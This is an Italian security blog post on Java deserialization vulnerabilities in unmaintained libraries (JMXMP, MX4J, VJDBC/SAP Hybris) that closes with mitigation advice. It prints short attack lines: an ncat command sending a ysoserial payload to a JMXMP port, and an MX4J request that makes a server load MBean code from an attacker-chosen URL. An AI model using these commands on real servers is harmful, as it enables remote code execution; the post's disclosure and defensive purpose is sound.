Diventa Autore per CoreTech | Scopri di più





La maledizione delle vecchie librerie Java

27/03/20 CoreTech Blog

Java è noto per la sua compatibilità con le versioni precedenti. È comunque possibile eseguire un codice scritto molti anni fa, purché si utilizzi una versione appropriata di Java. Grazie a questa caratteristica, i progetti moderni utilizzano una vasta gamma di librerie che sono state "testate dal tempo" nella produzione. Tuttavia, tali librerie sono spesso lasciate non supportate dai manutentori per un lungo periodo di tempo. Di conseguenza, quando si individua una vulnerabilità in una libreria, potrebbe essere molto difficile segnalare il problema e avvisare gli sviluppatori che utilizzano tale libreria.

Ecco alcuni esempi di tali problemi relativi a vecchie librerie, che ho recentemente incontrato quando si sfruttano le vulnerabilità come parte di vari programmi bug bounty.

JMX e JMXMP

JMX (Java Management Extensions) è una tecnologia nota e ampiamente utilizzata per il monitoraggio e la gestione delle applicazioni Java. Dall'apocalisse della deserializzazione di Java, è percepita come abbastanza nota per gli specialisti di sicurezza. JMX utilizza il protocollo RMI per scopi di trasporto, il che lo rende intrinsecamente vulnerabile agli attacchi di deserializzazione Java. Tuttavia, Oracle ha introdotto la specifica JEP-290 (JDK - 8u121, 7u131, - 6u141), che ha reso tali attacchi molto più difficili.

Si scopre che secondo la specifica JMX (JSR-160), JMX supporta anche altri protocolli di trasporto (chiamati connettori), tra cui il JMX Messaging Protocol (JMXMP), un protocollo appositamente creato per JMX. Tuttavia, questo protocollo non è stato incluso in Java SE e quindi non è mai diventato popolare. Uno dei principali vantaggi di JMXMP rispetto a RMI è il fatto che JMXMP richiede una sola porta TCP (RMI utilizza una porta statica per il registro RMI e un'altra porta scelta dinamicamente per l'interazione effettiva con un client). Questo fatto rende JMXMP molto più conveniente quando è necessario limitare l'accesso tramite un firewall o quando si desidera impostare il port forwarding.

Nonostante il fatto che le librerie che implementano JMXMP (jmxremote_optional.jar, opendmk_jmxremote_optional_jar-1.0-b01-ea.jar) non siano state aggiornate per almeno dieci anni, JMXMP è ancora vivo e utilizzato di tanto in tanto. Ad esempio, JMXMP viene utilizzato nell'ambiente Kubernetes e il supporto per JMXMP è stato recentemente aggiunto a Elassandra.

Il problema con JMXMP è che questo protocollo si basa completamente sulla serializzazione Java per il trasferimento dei dati. Allo stesso tempo, Oracle patch per le vulnerabilità JMX/RMI non coprono JMXMP, che lo rende aperto all'attacco di deserializzazione Java. Per sfruttare questa vulnerabilità, non è nemmeno necessario comprendere il protocollo o il formato dei dati, è sufficiente inviare un payload serializzato da ysoserial direttamente a una porta JMXMP:

ncat target.server.com 11099 < test.jser

Se non è possibile sfruttare questa vulnerabilità di deserializzazione Java (a causa della mancanza di gadget nel percorso di classe dell'applicazione), è comunque possibile utilizzare altri metodi, ad esempio il caricamento di MBean o l'uso improprio dei metodi MBean esistenti. Per connettersi a Tale JMX, è necessario scaricare il pacchetto necessario, aggiungerlo al percorso di classe e utilizzare il seguente formato per specificare l'endpoint JMX: service:jmx:jmxmp://target.server.com:port/.

Per esempio:

jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/

È anche possibile utilizzare MJET, ma richiede modifiche simili al codice.

MX4J

MX4J è un'implementazione open source di JMX. Fornisce inoltre un adattatore HTTP che espone JMX tramite HTTP (funziona come un servlet). Il problema con MX4J è che per impostazione predefinita non fornisce l'autenticazione. Per sfruttarlo, è possibile distribuire un MBean personalizzato utilizzando MLet (caricare ed eseguire il codice). Per caricare il payload, è possibile utilizzare MJET. Per forzare MX4J a ottenere l'MBean, è necessario inviare una richiesta GET a:

/invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet

MX4J non è stato aggiornato per 15 anni, ma è utilizzato da tale software come Cassandra (in una configurazione non predefinita). Il vostro "compito a casa" ora è quello di approfondire e cercare le vulnerabilità. Si noti l'utilizzo di protocolli hessian e burlap come connettori JMX, che sono anche vulnerabili agli attacchi di deserializzazione in una configurazione predefinita.

VJDBC

JDBC virtuale è una vecchia libreria che fornisce l'accesso a un database utilizzando JDBC tramite altri protocolli (HTTP, RMI). Nel caso di HTTP, fornisce un servlet, che è possibile utilizzare per inviare una richiesta HTTP speciale che include una query SQL e ricevere un risultato da un database utilizzato dall'applicazione web. Sfortunatamente, VJDBC utilizza anche la serializzazione Java (tramite HTTP) per interagire con il servlet.

Se utilizzi Google per cercare questo termine, scoprirai che quasi tutti i risultati di ricerca sono correlati a SAP Hybris. SAP Hybris è un'importante piattaforma di e-commerce/CRM utilizzata da molte grandi imprese. Per impostazione predefinita, SAP Hybris espone il vjdbc-servlet che è vulnerabile a un RCE causato dalla deserializzazione Java – CVE-2019-0344 (e che ha avuto altri gravi problemi di sicurezza in passato pure). Un test per questa vulnerabilità è stato aggiunto a Acunetix nel mese di settembre 2019. Sfortunatamente, sembra che SAP abbia risolto solo la loro versione interna di VJDBC, e quindi tutti gli altri software che dipendono da questa libreria sono vulnerabili e i suoi creatori sono probabilmente inconsapevoli del problema.

Nessuna via d'uscita

Non sono stato in grado di segnalare vulnerabilità in queste librerie. Ad esempio, nel caso di JMXMP, Oracle non supporta più JDMK. L'unica cosa che potrei fare è inviare rapporti direttamente a grandi progetti che utilizzano queste librerie vulnerabili. Ho anche voluto utilizzare questo articolo per aumentare la consapevolezza, quindi si prega di condividerlo se si ritiene che uno dei tuoi colleghi potrebbe utilizzare queste librerie.

Se fai ancora affidamento su queste librerie, prova a trovare un'alternativa sicura. Se non è possibile, limitare l'accesso a essi e/o utilizzare filtri a livello di processo descritti in JEP-290 per proteggere dalla deserializzazione e/o inserire l'applicazione in una sandbox. Inoltre, poiché si tratta di librerie open source, è possibile applicare manualmente le patch.

Inoltre, ogni volta che si prevede di utilizzare un pacchetto/libreria, assicurarsi che sia ancora supportato e che ci siano ancora manutentori. In tutti i casi di cui sopra, se i manutentori ancora supportato questi progetti, potrebbero facilmente trovare e risolvere tali vulnerabilità.

Sarebbe anche bello se in futuro Java e altri linguaggi ottenesse un metodo centralizzato per la segnalazione di vulnerabilità in pacchetti pubblici / librerie, simile all'eccellente sistema di reporting centrale per Node.js.


Articoli su Acunetix e Hacking

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!